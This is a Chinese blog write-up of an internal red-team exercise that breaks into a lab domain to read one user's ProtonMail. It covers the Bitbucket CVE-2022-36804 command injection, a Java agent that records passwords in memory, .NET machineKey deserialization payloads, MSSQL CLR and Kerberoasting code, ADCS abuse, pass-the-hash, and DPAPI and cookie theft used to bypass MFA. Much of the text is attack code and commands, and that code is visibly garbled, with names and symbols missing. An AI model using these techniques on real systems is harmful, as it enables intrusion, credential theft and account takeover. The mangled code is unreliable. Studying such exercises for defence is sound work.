您现在的位置是:首页 > 创新技术

记一次团队内部的红蓝对抗-攻击篇

智慧创新站 2025-04-20【创新技术】207人已围观

简介任务目标获取到dashe的protonmail邮件:攻击路径涉及的主要知识点cve-2022-36804javaAgent内存马记录密码.netmachiney反序列化漏洞AV/EDRBypass代理技术mssqlCLR提权kerberostingADCS域提权dpapimfa绕过机器情况[7990...

任务目标

获取到dashe的protonmail邮件:


攻击路径


涉及的主要知识点

cve-2022-36804

javaAgent内存马记录密码

.netmachiney反序列化漏洞

AV/EDRBypass

代理技术

mssqlCLR提权

kerberosting

ADCS域提权

dpapi

mfa绕过

机器情况

[7990]
[80]
[1433]
[135,445,80]
[135,445,389,88]
[445,135]

bitbucket

通过cve-2022-36804成功执行命令:


命令执行回显会被特殊字符截断且目标不出网,使用base64命令绕过限制获得完整回显:

简单进行信息搜集后,判断该机器为docker服务器且处于独立的vlan,无法与192.168.112.24/24通信。

深入利用

bitbucket为Atlassian公司生产的代码托管平台,主要技术栈为java:

很自然我们想到通过该平台获取到代码的源码或域凭据。一般来说常见的代码托管平台就gitlab和bitbucket这两个系列,两种应用的存储实现都是用本地文件+数据库的方式,本地文件是加密的。想要获取源文件需要详细分析系统的功能。

对于一线的红队工程师而言,我们可以选择一些其他的手段达到同样的效果。笔者这里使用记录明文密码的方式结合系统功能获取目标源码。

对于这种java系统,记录密码一般操作大概有三种:

前端js挂马

修改文件,如zimbra的密码记录

从内存的角度解决

这里选择了第三种方式,方案1不可行是因为当前为bitbucket权限,不具备修改js文件的权限。方案2不可行是因为不存在这样的登录入口,登录接口如下:

考虑从内存角度对请求进行hook,当前漏洞原理是命令的拼接实现rce,我们需要通过执行命令的方式修改jvm虚拟机正在执行的代码,这种技术就是javaAgent。

寻找已有的轮子进行修改,选择的项目为:

经过一番测试发现能hook到除了访问j_atl_security_check认证包之外的请求,并不能hook到认证请求。

经过一番测试,发现原版本周瑜HOOK的几个函数对这个认证请求不生效,针对bitbucket笔者找到了登录的函数,修改被hook的函数列表:

并且修改插入的代码:

直接编译,需要带着依赖一起编译,编译结果约8m。

如何通过GET请求执行命令且不出网的环境上传一个8m的文件是一个较大的问题。笔者采用笨办法将文件base64后切片,用多个get请求上传,如果有bitbucket项目的修改权限,直接上传到一个项目用curl等命令下载即可。这里没有对应的项目权限。

写脚本自动上传,只能get请求还是相当恶心,这里传了2000多个包才成功:

上传的时候有一些要注意的地方,+在漏洞利用截断会被当成url解码,笔者这里使用*替代了+,上传后还需要用sed替换"\n"和*才能获得正常的base64:

sed":a;N;s/\n//g;ta"/var/tmp/1.txt/var/tmp/2.txtsed-i"s/*/+/g"/var/tmp/2.|base64-d/tmp/

上传成功后,需要将该jar包注入的bitbucket进程中,使用比较简单的注入程序:

;;;;publicclassAttach{publicstaticvoidmain(String[]args)throwsException{VirtualMachinevm;ListVirtualMachineDescriptorvmList;StringagentFile=newFile("/tmp/").getCanonicalPath();(agentFile);try{vmList=();for(VirtualMachineDescriptorvmd:vmList){(());if(().contains("BitbucketServer")||"".equals(())){vm=(vmd);if("".equals(())!().containsKey("")){continue;}if(null!=vm){(agentFile);("insertsuccess");();return;}}}("NoBitbucketServerVirtualMachinefound.");}catch(Exceptione){();}}}

注入器可以直接在bitbuck编译,执行

等待几分钟后成功获取到了账户密码:

关于bitbucket内存后门这块详细的分析:

web01

从bitbucket我们获取了一套.net网站的源码,对应内网的web01(192.168.112.101)。

拿到这种源码笔者最喜欢直接去看,有惊喜收获:

密钥如果一直没修改的话是一个天然的后门。

团队的小伙伴也总结过几种利用情况:

这里应该是使用=4.5这种情况,同时开启mac验证与加密:

使用ysoerial生成,这里使用的是老版本1.35:

"cmd/cecho123c:\inetpub\wwwroot\1.aspx"--path="/Account/"--apppath="/"--decryptionalg="AES"--decryptionkey="9421E53E196BB56DB11B9C25197A2AD470638EFBC604AC74CD29DBBCF79D6046"--validationalg="SHA1"--validationkey="86B6275BA31D3D713E41388692FCA68F7D20269411345AA1C17A7386DACC9C46E7CE5F97F556F3CF0A07159659E2706B77731779D2DA4B53BC47BFFD4FD48A54"--isdebug

这里有个坑点,不能使用“--islegacy”参数,这个参数只用来测试apppath对不对,如果加了会报错签名校验失败。

执行后没反应,推测是有AV/EDR禁止了w3wp进程启动其他程序。

需要对ysoserial进行修改,参考:

将typeconfuse链原本执行命令的功能改为通过c代码:

执行:

usingSystem;;;;;;;;;publicpartialclassStoredProcedures{[]publicstaticvoidExecCommand(stringcmd){("Commandisrunning,pleasewait.");(RunCommand("","/c"+cmd));}publicstaticstringRunCommand(stringfilename,stringarguments){(@"c:\windows\temp\",().Name);return"ok";}}

读取文件:

createtablecmd(atext);BULKINSERTcmdFROM'c:\windows\temp\'WITH(FIELDTERMINATOR='n',ROWTERMINATOR='nn');select*fromcmd;droptablecmd;

可行,这就转换成如何在只能执行代码的情况下进行下一步渗透的问题了。

当前账户为一个域账户且非本机管理员,但我们可以通过该账户身份去导出ldap信息,spn,gpo等域渗透信息。

通过ldap信息我们发现该账户是一个普通域账户,没有任何组。

objectClass:topobjectClass:personobjectClass:organizationalPersonobjectClass:usercn:sqlservergivenName:sqldistinguishedName:CN=sqlserver,CN=Users,DC=test,DC=localinstanceType:4whenCreated:03/15/202313:24:17whenChanged:03/15/202313:31:30displayName:sqluSNCreated:13051uSNChanged:13076name:sqlserverobjectGUID:{8505454D-ED0C-4949-8FD6-89A680ADB50F}userAccountControl:66048badPwdCount:0codePage:0countryCode:0badPasswordTime:2543584lastLogoff:0lastLogon:5435147pwdLastSet:3788381primaryGroupID:513objectSid:S-1-5-21-2687445417-3310065553-3308869922-1115accountExpires:9223372036854775807logonCount:40sAMAccountName:sqlserversAMAccountType:805306368managedObjects:CN=SQL01,CN=Computers,DC=test,DC=localobjectCategory:CN=Person,CN=Schema,CN=Configuration,DC=test,DC=localdSCorePropagationData:03/15/202313:24:17dSCorePropagationData:01/01/160100:00:00lastLogonTimestamp:9502313ADsPath:LDAP:///CN=sqlserver,CN=Users,DC=test,DC=localobjectClass:topobjectClass:leafobjectClass:secretcn:BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcdSecretdistinguishedName:CN=BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcdSecret,CN=System,DC=test,DC=localinstanceType:4whenCreated:03/15/202313:31:31whenChanged:03/15/202313:31:31uSNCreated:13077uSNChanged:13079showInAdvancedViewOnly:TRUEname:BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcdSecretobjectGUID:{1D695EE2-EBCB-46B2-957A-B9B14729B3CE}lastSetTime:6101649priorSetTime:6101649objectCategory:CN=Secret,CN=Schema,CN=Configuration,DC=test,DC=localisCriticalSystemObject:TRUEdSCorePropagationData:01/01/160100:00:00ADsPath:LDAP:///CN=BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcdSecret,CN=System,DC=test,DC=local

暂时没有可以利用的点,接着选择导出spn及票据,主要代码源自:

usingSystem;;;;;;;;;;;;publicpartialclassStoredProcedures{[]publicstaticvoidExecCommand(stringcmd){DirectoryEntrydirectoryObject=null;DirectorySearcheruserSearcher=null;=null;directoryObject=newDirectoryEntry();userSearcher=newDirectorySearcher(directoryObject);="((samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt))";SearchResultCollectionusers=();foreach(SearchResultuserinusers){stringsamAccountName=["samAccountName"][0].ToString();stringdistinguishedName=["distinguishedName"][0].ToString();stringspn=["servicePrincipalName"][0].ToString();(("SamAccountName:{0}",samAccountName));(("DistinguishedName:{0}",distinguishedName));(("ServicePrincipalName:{0}",spn));stringdomain="";stringuserName="test";=(spn,,cred,().ToString());try{byte[]requestBytes=();stringticketHexStream=(requestBytes).Replace("-","");//jankyregextotrytofindthepartoftheserviceticketwewantMatchmatch=(ticketHexStream,@"(?EtypeLen..)A1.{1,4}.A282(?CipherTextLen.)..(?DataTo.+)",);if(){//usually23byteeType=(["EtypeLen"].ToString(),16);intcipherTextLen=(["CipherTextLen"].ToString(),16)-4;stringdataTo=["DataTo"].ToString();stringcipherText=(0,cipherTextLen*2);if(["DataTo"].ToString().Substring(cipherTextLen*2,4)!="A482"){(("[X]ErrorparsingciphertextfortheSPN{0}.UsetheTicketByteHexStreamtoextractthehashofflinewithGet-KerberoastHashFromAPReq.\r\n",spn));boolheader=false;foreach(stringlineinSplit(ticketHexStream,80)){if(!header){(("TicketHexStream:{0}",line));}else{(("{0}",line));}header=true;}}else{//outputtohashcatformatstringhash=("$krb5tgs${0}$*{1}${2}${3}*${4}${5}",eType,userName,domain,spn,(0,32),(32));boolheader=false;foreach(stringlineinSplit(hash,80)){if(!header){(("Hash:{0}",line));}else{(("{0}",line));}header=true;}}}}catch(Exceptionex){(("\r\n[X]ErrorduringrequestforSPN{0}:{1}\r\n",spn,));}}}(stringtext,intpartLength){if(text==null){thrownewArgumentNullException("singleLineString");}if(partLength1){thrownewArgumentException("'columns'mustbegreaterthan0.");}doublepartCount=((double)/partLength);if(partCount2){yieldreturntext;}for(inti=0;ipartCount;i++){intindex=i*partLength;intlengthLeft=(partLength,);stringline=(index,lengthLeft);yieldreturnline;}}}

装载几个依赖:

CREATEASSEMBLY[]FROM'C:\Windows\\Framework64\\'WITHPERMISSION_SET=UNSAFE;GOCREATEASSEMBLY[]FROM'C:\Windows\\Framework64\\'WITHPERMISSION_SET=UNSAFE;GO

编译:

"C:\Windows\\Framework64\\"/t:library/r:"C:\Windows\\Framework64\\"/r:"C:\Windows\\Framework64\\"

执行:

sp_configure'clrenabled',1GORECONFIGUREGOALTERDATABASEtestSETTRUSTWORTHYON;GOCREATEASSEMBLY[spn]AUTHORIZATION[dbo]FROM[0xbinofdll]WITHPERMISSION_SET=UNSAFE;GOCREATEPROCEDURE[dbo].[roast]@cmdNVARCHAR(MAX)ASEXTERNALNAME[spn].[StoredProcedures].[ExecCommand]goexecroast"whoami"dropprocedureroastdropassembly[spn]

整理后获得spn及票据:

Msg0,Level0,State2,ServerSQL02,Procedureroast,Line0SamAccountName:roastMsg0,Level0,State2,ServerSQL02,Procedureroast,Line0DistinguishedName:CN=roast,CN=Users,DC=test,DC=localMsg0,Level0,State2,ServerSQL02,Procedureroast,Line0ServicePrincipalName:mssql/,Level0,State2,ServerSQL02,Procedureroast,Line0$krb5tgs$23$*test$$mssql/*$5F92C1AA1A523402150EB70C529CA5FA$1FDBE06854D3B1A3423D17BA39878FEB2826F1DA2AC4859BCCD7CE880446B0E3D3D55E649EF814E47CEFEFC03EEB674D22FD65F0FCA4C05B973B665C0BA4199733450A2FF2CDF33755453DAC48D05945A9476F81221011F4D027CFE0466489FE635AD4F5852249EE3C5741C8C5DE8DAC0BB5F934D6F5331EBCAE691EEAF1C793F510D11CE5145806A154FA62C50A4E931A84C10C191C792D316C4E049603C5749E59CE5E84FC0E59ADF60D32A3012E6899E34B19F2164C9E627D4683AABC07034B6BD93716A0C973D4CFC8B22E490EDBB78D6A690E6839767DB270B64BC3B795FF2B1F7E91D99364C6A41A849A3CA6EBCDA0A70ED22133E45808703BADE5C7553396FE594C1BE9BA7BB252B7B024FE6CC6EBDA4EEE67507B64FF4C6B73BE9E04BBA368D9D335C7BD0A66AB17FB7C287E6E29DE70493B72107DFACC13286EB96A0A1C3E99ED8982CB8B4B83659178602BFAE541162286CECE0E10969D88497475B8C168936305341C9CEE26071C4F42857E985ADD43E0356DE248D584051D1F0396B5880D706ABD32F79DDBC25E03EB9A309C82C6B5C42D55B660EBBC4F22AD41C1E4E2B5361BE14DE84A3BFB9829DCC9E47AC9C1FBD9729EC1289E54BB40E84347BA001F84959F045F3494F6282C2D8BD7C7C3DCCCE584A51E74CBF7108442E3869750614488F0A855005809F4C51E3941CB3792FF446321CCCE9B7D16295A46BDA54F5C11749C5D7A6CF801A97D36BBEE1AC2AABA7C1FC115FCDC5944452F2C5D4CD83806487F2728D365BB7AAC886E2CC62FE78845B1BA2BFF308500339274FD96E61A50FD309C6B2DE7A741381BEF73FA985FE5542F337E26B45B4B89CE7254D1CDCDA37FB62723B86AB41C7D0E68CCE79A3DECDDFE9766CC08CF0A16C55EBBEA1A87E4C51887A5647B5BDF8EF0CD2255C29ED508E6BC38086B746516EC6E02BC457DA449E3B79EBF7F12DC66AF0F9BEA27BEA6CD2FFF173F26E4C3EEB27CCC0AA5483AF8519B977582D2A5403E3E06B95ED97D2E0108E0B4A0BED4FEEC2D42CE016EA3E81A38B2E01CA1CF617FE4BD375C36BFF8A7514934E07B90125D8A8A25066ED0BE045FAFCD4009C1476748B908DCB319A7436E6430FB9D27F5C3D70105045B8E9950A85C3CD4BE2C8C3E66573E04BBF98EEEF545C1D34A8F00384AE89485F17F

查看ldap信息并使用hashcat等工具破解:

john--format=krb5tgs--wordlist=passwords__/~~1433-

得到roast用户的密码:SysAdmin2023"-

通过证书获取hash:

可以,进行正式漏洞利用。创建一个机器账户并将dnsHostName属性改为dc的机器名:

"roast"-p"Sysadmin34;-p"nVi3l2cMiXECZ0pP"-

使用dc01的证书获取hash:

使用secretdump导出域控的机器hash:

aad3b435b51404eeaad3b435b51404ee:d9c6c7a01ffc61f41d88ff7268b084d5

使用域控的机器hash获得所有的hash:

dashe-PC

域管的hash为cd46c85aaf6e13ef4ff88f106bd296ca,密码强度比较高,无法破解。

pth后smb访问,发现没有装防护软件

直接使用,抓取浏览器信息:

\\192.168.112.50\c$\windows\tempwmic/node:192.168.112.50processcallcreate"cmd/cc:\windows\temp\:\windows\temp\1.txt21"

读取命令执行结果:

没找到chrome,应该是获取masterkey是用内存手段获取masterkey的,只能获取到当前用户,需要我们用dashe的身份执行。

这里不能使用wmic,因为wmic默认是system权限,可以使用schtasks:

使用dashe的hash重新pth:

sekurlsa::pth/domain:/dc:/user:dashe/ntlm:d67df352cdec7779b5b58953b3f2e2ee

执行

schtasks/create//tnbackdoor/scminute/mo1/trc:\windows\temp\/ru"\dashe"/fschtasks/run//i/tntestschtasks/delete//tn"backdoor"/f

奇怪的报错:

查了一圈不知道怎么解决,现在面临的问题是没法以dashe用户身份执行命令,上传mimikatz一把梭也不行。只能一步一步来到本地解密。

通过domainkey获取masterkey

获取masterkey方法不止一种,这里选择从域的pvk中获取,首先使用SharpDPAPI获取pvk:

/server:/file:

之后将pvk传到目标机器上,再使用

cmd//pvk::\1.txt

即可获取logins解密的结果:

尝试登录,存在双因子认证:

从chrome中解cookie:

导入浏览器插件CookieEditor,protonmail有好几个域:




面对这种情况Cookie-Editor不是很好使。不能直接用插件导入,mimikatz提供了一个办法可以伪造一个masterkey:

xcopy"\\192.168.112.50\C$\users\dashe\appdata\Roaming\Microsoft\Protect\S-1-5-21-2687445417-3310065553-3308869922-1140\1e366a60-0518-4f7c-abdb-65eb5d35bdf5"/hmimikatz#dpapi::masterkey/in:1e366a60-0518-4f7c-abdb-65eb5d35bdf5/pvk:

获得一个key:

新建一台虚拟机安装chrome,管理员账户的密码设置为123456,拷贝整个chrome的default到新机器。使用dpapi生成新的masterkey文件,注意需要在新装的机器上执行。

dpapi::create/guid:{1e366a60-0518-4f7c-abdb-65eb5d35bdf5}/key:273d524993beaeced20b4a406a91a706deac9bb343d730d8c8da15dab500ab51b298545607602cd71a88d50c0abe87d6e6de44668b6176ef71e731a275a89117/password:123456/protected

将masterkey文件拷贝到Administrator用户的目录下

xcopy1e366a60-0518-4f7c-abdb-65eb5d35bdf5C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-1943907461-1399315114-1286489734-500/h

重启chrome可以看到cookie已经成功导入:

获得最后的flag:

总结

本环境是中等难度的一套环境,大多是常规手法进行突破。

很赞哦!(111)